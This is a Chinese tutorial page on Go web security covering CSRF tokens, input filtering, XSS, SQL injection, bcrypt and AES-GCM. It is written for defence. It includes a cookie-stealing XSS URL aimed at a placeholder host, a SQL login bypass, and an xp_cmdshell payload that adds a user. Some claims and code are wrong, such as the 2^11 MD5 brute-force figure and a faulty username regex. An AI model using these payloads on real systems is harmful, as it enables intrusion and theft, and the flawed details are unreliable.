- 文档
- 教程
【免费下载链接】build-web-application-with-golang
A golang ebook intro how to build a web with golang
导读
本章是开源电子书《Build Web Application with Golang》泰文版第 9 章(th/09.0.md)的安全主题概述,系统讲解了 Go Web 应用开发中最常见的四类安全威胁——CSRF(跨站请求伪造)、XSS(跨站脚本)、SQL 注入,以及密码存储与数据加解密。读完本文,你将掌握输入过滤的三个阶段、基于伪随机 token 的 CSRF 防护、白名单校验模式、bcrypt 密码哈希以及 AES-GCM 对称加解密等可直接落地的实战方案,并了解仓库中对应示例代码(th/code/src/apps/ch.4.4)的具体实现。
为什么 Web 安全如此重要
大多数 Web 应用的安全性取决于对第三方数据的处理方式。CSDN、LinkedIn、Yahoo 等网站都曾因用户密码数据泄露而蒙受巨大损失,这些事件足以说明安全防护的紧迫性。作为 Go 开发者,我们必须意识到应用中存在的漏洞,并主动采取预防措施,防止攻击者接管系统。
现代 Web 应用中的大部分安全问题都源于第三方提供的数据:
- 用户输入未经验证与净化:如果直接存入数据库,再原样输出给客户端,就可能引发 XSS 攻击(详见 9.3 节);
- 不安全数据直接拼入 SQL 查询:可能导致 SQL 注入攻击(详见 9.4 节);
- 请求伪造:仅仅过滤输入、转义输出并不能解决所有问题,CSRF 攻击(9.1 节)正是如此——攻击者利用网站信任的用户身份,在用户不知情的情况下传输未经授权的命令;
- 敏感数据泄露:密码等机密数据需要加密存储(9.5 节),需要双向解密的数据则应使用对称加密算法(9.6 节)。
总体思路是:使用第三方数据(包括用户提交的数据)时,先通过过滤验证数据的完整性。
CSRF 跨站请求伪造:原理与防护
什么是 CSRF
CSRF 与 XSRF 均指 Cross-site request forgery(跨站请求伪造),也被称为"one click attack"(一键攻击)或 "session riding"(会话骑乘)。攻击过程大致是:攻击者通过社会工程学手段(例如利用 QQ 聊天软件向受害者发送恶意链接),诱骗已登录信任网站 A 的用户访问危险链接 B,从而在用户不知情的情况下向目标网站发起恶意请求。一个典型的后果是:受害者登录网上银行后未退出,点击恶意链接即可能被盗取全部账户资金。当被攻击的终端用户拥有管理员权限时,整个 Web 应用都将面临威胁。
CSRF 攻击的两个必要步骤
从 th/images/9.1.csrf.png 所示的攻击流程图可以看出,一次成功的 CSRF 攻击要求受害者完成两个步骤:
- 登录受信任的网站 A,并在本地保存 Cookie;
- 在不离开网站 A 的前提下,访问包含危险链接的网站 B。
你可能认为只要不满足上述两个条件就不会被攻击,但现实中无法保证:
- 登录某个网站时,该网站不会暗中发起隐藏的标签页请求;
- 关闭浏览器后,Cookie 会立即过期、会话立刻结束;
- 高流量、受信任的网站不存在可利用的 CSRF 漏洞。
CSRF 攻击之所以成立,根源在于用户认证机制本身:服务器可以合理确信请求来自用户的浏览器,却无法证明用户已授权该请求。
服务端防护:两大原则
CSRF 的防御可以同时在客户端与服务端进行,但服务端防御最有效。绝大多数服务端防御手段都围绕以下两点展开:
- 正确使用 GET、POST 与 Cookie:GET 仅用于查看信息而不改变数据;POST 用于下单、修改资源属性等写操作。例如用 Go 的 mux 路由限制资源访问方式:
mux.Get("/user/:uid", getuser) mux.Post("/user/:uid", modifyuser)由于修改操作只允许 POST,当请求以 GET 方式发出时可直接拒绝响应,从而阻断利用 GET 发起的 CSRF 攻击。但 POST 同样可以被伪造,所以还需要第二步。
- 在非 GET 请求中加入伪随机数:通常有两种做法:
- 为每个用户生成唯一的伪随机 Cookie token,所有表单都包含该值。由于攻击者理论上无法读取第三方 Cookie,未知随机值的伪造表单必然验证失败;
- 不同表单使用不同的伪随机值,这与第 4.4 节"如何防止表单重复提交"的思路一致,可直接复用相关代码。
仓库中的 token 实战实现
生成随机数 token(原文档示例):
h := md5.New() io.WriteString(h, strconv.FormatInt(crutime, 10)) io.WriteString(h, "ganraomaxxxxxxxxx") token := fmt.Sprintf("%x", h.Sum(nil)) t, _ := template.ParseFiles("login.gtpl") t.Execute(w, token)在表单中输出 token:
<input type="hidden" name="token" value="{{.}}">提交时认证 token:
r.ParseForm() token := r.Form.Get("token") if token != "" { // 验证 token 的合法性 } else { // 错误:token 不存在 }仓库中 th/code/src/apps/ch.4.4/nonce/main.go 给出了更完整的 nonce(一次性使用的随机数)实现:createToken()以当前时间戳time.Now().Unix()和rand.Int63()随机数为输入,经 MD5 摘要生成 32 位十六进制 token;Nonces结构用map[string]bool跟踪已使用 token,CheckThenMarkToken则先校验再标记,同时防止重复提交与伪造提交:
func createToken() string { h := md5.New() now := time.Now().Unix() io.WriteString(h, strconv.FormatInt(now, 10)) io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) return fmt.Sprintf("%x", h.Sum(nil)) }th/code/src/apps/ch.4.4/main.go 中的checkProfile处理器演示了完整的服务端校验链路:先r.ParseForm()取出 token,再调用submissions.CheckThenMarkToken(token)判断 token 是否存在、是否重复使用,只有通过校验才继续处理表单数据。关于伪随机 token 的破解难度:由于采用 MD5 摘要,暴力破解需要约 2 的 11 次方量级的计算,实际破解几乎不可能。
输入过滤:安全的第一道防线
过滤用户数据是提升 Web 应用安全性最有效的手段之一,目的是验证输入数据的合法性,避免恶意代码或数据被错误执行或存储。绝大多数 Web 应用漏洞都源于忽视输入过滤、盲目信任输入。过滤过程分为三个阶段:
- 识别数据:搞清数据从哪里来;
- 过滤数据:判断接收到的数据是什么类型;
- 区分已过滤数据与污染数据:过滤完成后,确保进入应用的数据是安全的。
识别数据来源
在 Go 中,用户通过 POST 提交的表单数据很容易识别:调用r.ParseForm后,全部数据都位于r.Form中。而其他输入则难以识别——例如r.Header中的许多字段常被客户端篡改,因此应默认将所有 Header 视为已污染数据。即便是r.Header.Get("Accept-Charset")这类通常由浏览器操纵的字段,也应视作用户输入。
过滤手段与原则
过滤数据有许多方式,安全性各异。最佳做法是检查数据本身是否符合应用规定的合法要求,且切勿尝试"修正"非法数据——修正行为可能让攻击者利用你的校验规则反噬系统。一个经典反例:银行系统要求 6 位密码并校验长度,若校验规则对过短密码自动补 0,攻击者只需猜中前几位数字即可登录成功。历史上大量漏洞正是源于"修正非法数据"的思路。
Go 标准库提供了丰富的过滤工具:
- strconv:将
r.Form中的字符串值转换为特定类型,常用转换包括Atoi、ParseBool、ParseFloat、ParseInt; - strings:提供
Trim、ToLower、ToTitle等函数,可按需获得特定格式的数据; - regexp:处理更复杂的校验场景,如判断输入是否为邮箱地址、生日等。
在过滤之外再叠加认证手段效果更佳。**白名单(whitelisting)**是一种确认输入合法性的好方法:采用白名单后,一旦出错只可能是"输入非法",而不是相反——把非法数据误判为合法。虽然白名单可能误伤合法数据,但这种"宁可错杀"的策略远比放行非法数据更安全。
区分过滤数据与污染数据:CleanMap 模式
过滤完成后,还需要区分已过滤与未过滤的数据,以保证过滤流程的完整性且不影响原始输入。做法是将所有已过滤数据放入全局 map 变量CleanMap,并遵循两条规则:
- 每个请求必须将
CleanMap初始化为空 map; - 防止外部数据源引入名为
CleanMap的变量污染应用。
以下表单只允许提交三个预设选项之一:
<form action="/whoami" method="POST"> Who am I: <select name="name"> <option value="astaxie">astaxie</option> <option value="herry">herry</option> <option value="marry">marry</option> </select> <input type="submit" /> </form>不要天真地以为用户只能提交三个选项之一——POST 请求完全可以被模拟,例如提交name = attack即可注入非法数据。用白名单防御:
r.ParseForm() name := r.Form.Get("name") CleanMap := make(map[string]interface{}, 0) if name == "astaxie" || name == "herry" || name == "marry" { CleanMap["name"] = name }上述代码初始化CleanMap,仅当名字命中白名单(astaxie、herry、marry)时才赋值,保证CleanMap["name"]中存放的是已验证值。也可以在if后附加else分支处理非法数据(如重新渲染表单并提示错误),但不要过度宽容,否则可能污染CleanMap。
对于"用户名只能由字母和数字组成"这类格式校验,可用 regexp 实现:
r.ParseForm() username := r.Form.Get("username") CleanMap := make(map[string]interface{}, 0) if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok { CleanMap["username"] = username }XSS 跨站脚本攻击:动态内容的代价
随着互联网技术发展,Web 应用大量引入随用户请求与操作变化的动态内容,而动态网站恰恰容易遭受 XSS 攻击,静态网站则完全不受影响。
什么是 XSS
XSS 是 Cross-Site Scripting(跨站脚本)的缩写,为避免与 CSS(层叠样式表)混淆,用 X 代替 C。XSS 是常见的 Web 安全漏洞,允许攻击者向网页注入恶意代码。与大多数只涉及攻击者与受害者双方的传统攻击不同,XSS 涉及三方:攻击者、客户端与 Web 应用。其核心目标通常是窃取 Web 应用存放在客户端浏览器中的 Cookie,进而读取敏感信息、冒充用户交互。
XSS 通常分为两类:
- 存储型 XSS(Stored XSS):用户可在公开页面输入数据,服务端保存后,未经转义地返回给其他浏览者。常见受影响页面包括评论、评价、博客文章、留言板。攻击者输入 HTML 加隐藏的
<script>恶意标签并保存,应用将其写入数据库;其他用户请求该页面时,应用从数据库取出污染数据直接输出,恶意脚本随即在客户端执行。 - 反射型 XSS(Reflected XSS):将恶意脚本直接嵌入 URL 查询参数中,服务器立即将数据解析进结果页并原样返回给请求方。攻击者向用户发送伪装成可信网站链接的编码负载,点击后浏览器即执行恶意脚本。
XSS 的主要危害手段与后果包括:
- 窃取 Cookie、访问敏感信息;
- 利用 Flash 的跨域权限获得更高用户权限(Java、VBScript 等类似攻击向量同理);
- 利用 iframe、frame、XMLHttpRequest 等冒充用户执行发微博、加好友、发私信等操作(新浪微博曾因此类漏洞遭攻击);
- 大量用户访问被攻击页面时,对小网站可造成近似 DDoS 的效果。
XSS 攻击原理
Web 应用在将请求数据返回给用户前若不加检查与过滤,恶意用户注入的脚本(通常内嵌在 HTML 的<script>标签中)就会被渲染到其他用户的浏览器上并被执行——这就是 XSS 的定义,也是 XSS 漏洞最常见的成因。
以反射型 XSS 为例:某网站根据 URL 查询参数输出用户名,访问http://127.0.0.1/?name=astaxie会输出hello astaxie。若改为访问http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>,浏览器弹出 alert 对话框即说明存在 XSS 漏洞。
窃取 Cookie 的攻击 URL 形如:
http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>点击该链接后,当前 Cookie 会被发送到www.xxx.com。虽然这种 URL 会让多数人起疑,但攻击者常借助 URL 缩短服务等方式混淆链接,点击后 Cookie 数据已发送给第三方。可用 Websleuth 等工具审计应用是否存在此类漏洞。
XSS 防御手段
防御原则很简单:绝不信任用户输入,始终过滤接收到的所有输入中的特殊字符。具体技术包括:
- 过滤特殊字符:Go 的
text/template包提供 HTML 过滤函数,如HTMLEscapeString、JSEscapeString等; - 在 HTTP 头中指定内容类型:
w.Header().Set("Content-Type", "text/javascript")此举让客户端浏览器按 JavaScript 代码解析响应并施加必要的过滤,而不是以未指定、潜在危险的方式渲染内容。
SQL 注入:最普遍的脚本注入漏洞
SQL 注入是 Web 开发中最常见的脚本注入类漏洞:攻击者可借此获取数据库敏感信息,甚至向数据库添加用户、导出私密文件、获取系统最高权限。成因是Web 应用未有效过滤用户输入,攻击者提交恶意 SQL 查询代码,改变原始查询逻辑并在应用执行查询时被一并执行。
注入示例
以一个简单的登录表单为例:
<form action="/login" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" value="Login" /></p> </form>表单处理代码直接拼接字符串:
username := r.Form.Get("username") password := r.Form.Get("password") sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'"如果用户输入:
myuser' or 'foo' = 'foo' --SQL 变为:
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'在 SQL 中--之后是注释,攻击者插入--即可彻底改变查询语义,无需密码即可登录。
MSSQL 存在更危险的注入方式,甚至可以执行系统命令:
sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'" Db.Exec(sql)若攻击者提交a%' exec master..xp_cmdshell 'net user test testpass /ADD' --作为prod,SQL 变成:
SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'MSSQL 服务将执行用户提供的prod变量中的命令,向系统添加新用户;若程序以足够权限运行且 MSSQLSERVER 服务权限充分,攻击者即可注册系统账户并访问该机器。需要强调的是:上述示例虽针对特定数据库,但其他数据库系统同样可能遭受类似攻击——注入原理相同,手法可能各异。
六条防注入建议
- 严格限制数据库操作权限:用户仅拥有完成工作所需的最小权限集,最大限度降低注入风险;
- 校验输入数据格式:严格限制可提交的变量类型,可用 regexp 匹配,或用 strconv 将字符串转为其他基本类型进行净化与评估;
- 转义特殊字符对:在持久化前对
'"\&*;等特殊字符进行转码或转义,Go 的text/template包提供HTMLEscapeString函数可返回转义后的 HTML; - 使用数据库的参数化查询接口:参数化语句用占位符替代嵌入 SQL 中的用户输入变量,不再直接拼接 SQL。例如 Go 的
database/sql包中可用Prepare创建预编译语句,再用Query或Exec(query string, args ...interface{})执行; - 上线前用专业工具全面测试:使用 sqlmap、SQLninja 等开源工具检测并修复 SQL 注入漏洞;
- 避免在公开页面输出 SQL 错误信息:类型错误、字段不匹配错误或含 SQL 语句的错误信息都会成为攻击者的线索。
密码存储:从单向哈希到 bcrypt
许多知名网站(如 LinkedIn、CSDN)都发生过密码数据泄露事件,且现代用户常在不同网站复用同一密码,影响面被进一步放大。作为 Web 开发者,选择正确的密码存储方案至关重要。
糟糕方案:裸单向哈希 + 彩虹表
目前最普遍的存储方案是先将明文密码做单向哈希。单向哈希最重要的特性是无法从哈希值反推原始数据,常用算法包括 SHA-256、SHA-1、MD5。Go 中的用法如下:
// import "crypto/sha256" h := sha256.New() io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") fmt.Printf("% x", h.Sum(nil)) // import "crypto/sha1" h := sha1.New() io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") fmt.Printf("% x", h.Sum(nil)) // import "crypto/md5" h := md5.New() io.WriteString(h, "需要加密的密码") fmt.Printf("%x", h.Sum(nil))单向哈希有两个关键特性:
- 给定密码的哈希摘要始终唯一确定;
- 计算速度极快——随着硬件进步,每秒可完成数十亿次哈希计算。
两者结合意味着:大多数用户使用常见密码的组合,攻击者可以预先计算所有常见密码的哈希值(即彩虹表 rainbow table)与泄露数据库中的哈希比对,从而还原明文密码。因此,仅用单向哈希存储密码是不够的——数据库一旦泄露,原始密码就可能公之于众。
好方案:代价可控的慢哈希(bcrypt)
多年前,攻击者缺少计算大规模彩虹表的算力,单向哈希尚可抵挡多数攻击;但随着并行计算能力崛起,此类攻击越来越可行。正确的思路是刻意增加哈希计算的时间与资源开销,让攻击者无法承受构建彩虹表的成本。
在 Go 中推荐使用bcrypt包(golang.org/x/crypto/bcrypt,对应仓库中引用该包的示例风格)。bcrypt 在内部嵌入盐值(salt)并内置可调节的计算成本参数,天然抵御彩虹表与暴力破解。完整示例:
package main import ( "fmt" "log" "golang.org/x/crypto/bcrypt" ) func main() { userPassword1 := "some user-provided password" // 根据用户密码生成待存储的 "hash" hash, err := bcrypt.GenerateFromPassword([]byte(userPassword1), bcrypt.DefaultCost) if err != nil { // TODO: 妥善处理错误 log.Fatal(err) } fmt.Println("Hash to store:", string(hash)) // 将此 "hash" 存入数据库 // 一段时间后,用户登录,需要校验其输入的密码 userPassword2 := "some user-provided password" hashFromDatabase := hash // 比较密码与哈希 if err := bcrypt.CompareHashAndPassword(hashFromDatabase, []byte(userPassword2)); err != nil { // TODO: 妥善处理错误 log.Fatal(err) } fmt.Println("Password was correct!") }其中bcrypt.DefaultCost为默认计算强度,强度越高,攻击者预计算彩虹表越困难,甚至不可行。CompareHashAndPassword用于登录时比对用户输入与库中哈希。
给开发者的两条建议
- 作为普通互联网用户,推荐使用 LastPass 等密码管理器生成并保存密码,且不同网站使用不同密码;
- 作为 Go Web 开发者,务必采用经过充分测试的专业方案(如 bcrypt)存储用户密码。
数据加解密:AES-GCM 对称加密
单向哈希适合存储密码这类"只存不读"的数据,但有时需要修改数据库中已存储的敏感加密数据,此时必须使用对称加密算法。Go 在crypto包中支持对称加密算法。如果不清楚自己在做什么,除 AES 的 GCM 模式外不要使用其他模式!
crypto/aes包实现了 AES(Advanced Encryption Standard,又称 Rijndael 加密法),是美国联邦政府采用的块加密标准。以下示例演示 AES-GCM 模式的加密与解密:
package main import ( "crypto/aes" "crypto/cipher" "crypto/rand" "errors" "fmt" "io" "log" ) func main() { text := []byte("My name is Astaxie") key := []byte("the-key-has-to-be-32-bytes-long!") ciphertext, err := encrypt(text, key) if err != nil { // TODO: 妥善处理错误 log.Fatal(err) } fmt.Printf("%s => %x\n", text, ciphertext) plaintext, err := decrypt(ciphertext, key) if err != nil { // TODO: 妥善处理错误 log.Fatal(err) } fmt.Printf("%x => %s\n", ciphertext, plaintext) } func encrypt(plaintext []byte, key []byte) ([]byte, error) { c, err := aes.NewCipher(key) if err != nil { return nil, err } gcm, err := cipher.NewGCM(c) if err != nil { return nil, err } nonce := make([]byte, gcm.NonceSize()) if _, err = io.ReadFull(rand.Reader, nonce); err != nil { return nil, err } return gcm.Seal(nonce, nonce, plaintext, nil), nil } func decrypt(ciphertext []byte, key []byte) ([]byte, error) { c, err := aes.NewCipher(key) if err != nil { return nil, err } gcm, err := cipher.NewGCM(c) if err != nil { return nil, err } nonceSize := gcm.NonceSize() if len(ciphertext) < nonceSize { return nil, errors.New("ciphertext too short") } nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:] return gcm.Open(nil, nonce, ciphertext, nil) }关键实现细节:
aes.NewCipher的[]byte密钥长度必须为16、24 或 32 字节,分别对应AES-128、AES-192、AES-256算法;返回的cipher.Block接口实现了三个方法:
type Block interface { // BlockSize 返回密码块大小 BlockSize() int // Encrypt 将 src 中的第一个块加密到 dst 中 // dst 与 src 可以指向同一块内存 Encrypt(dst, src []byte) // Decrypt 将 src 中的第一个块解密到 dst 中 // dst 与 src 可以指向同一块内存 Decrypt(dst, src []byte) }- 加密时通过
crypto/rand生成随机的 nonce(一次性随机数),并作为密文前缀返回;解密时先从密文头部取出 nonce 再执行gcm.Open,确保同一密钥下每次加密输出不同密文; - GCM 模式同时提供机密性与完整性校验(认证),这是它被推荐用于 Web 应用的原因。
本章总结
本章系统覆盖了 CSRF、XSS、SQL 注入三类攻击:多数 Web 应用因输入过滤不足而暴露于这些攻击之下,因此除介绍攻击原理外,本章也给出了过滤用户数据、防范攻击的实用技术。随后讨论了安全存储用户密码的方法——从适用于宽松安全需求场景的单向哈希,到更严肃应用场景的密码加盐与加密算法;最后简要探讨了对称加密与敏感数据的加解密。
本章的最终目标是帮助读者增强对现代 Web 应用安全问题的意识,在规划与设计应用时更加审慎,写出能防止黑客利用用户数据的系统。Go 语言拥有庞大而设计精良的反攻击工具包,每个 Go 开发者都应善用这些标准库与生态包(如text/template的转义函数、database/sql的预编译语句、golang.org/x/crypto/bcrypt、crypto/aes等)来加固自己的 Web 应用。
延伸阅读
- 本章目录:th/09.0.md
- 上一章小结:第八章 总结
- 下一节:CSRF 攻击
- 再下一节:过滤输入
- 反例的完整可运行示例(token 防重复提交):th/code/src/apps/ch.4.4/main.go、th/code/src/apps/ch.4.4/nonce/main.go
- 文档
- 教程
【免费下载链接】build-web-application-with-golang
A golang ebook intro how to build a web with golang
相关推荐
使用 Go 构建安全 Web 应用:CSRF、XSS、SQL 注入防御与加密实践指南
使用 Go 构建安全 Web 应用:CSRF、XSS、SQL 注入防御与加密实践指南 本文基于开源书籍《Build Web Application with G
文档教程用 Go 筑牢 Web 应用安全防线:CSRF、XSS、SQL 注入与密码加密全景指南
用 Go 筑牢 Web 应用安全防线:CSRF、XSS、SQL 注入与密码加密全景指南 本章(第 9 章)是《Build Web Application wit
文档教程Go Web 安全与加密实战:从 CSRF/XSS/SQL 注入防御到密码存储与 AES 双向加密
Go Web 安全与加密实战:从 CSRF/XSS/SQL 注入防御到密码存储与 AES 双向加密 导读 本章(《Build Web Application w
文档教程
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考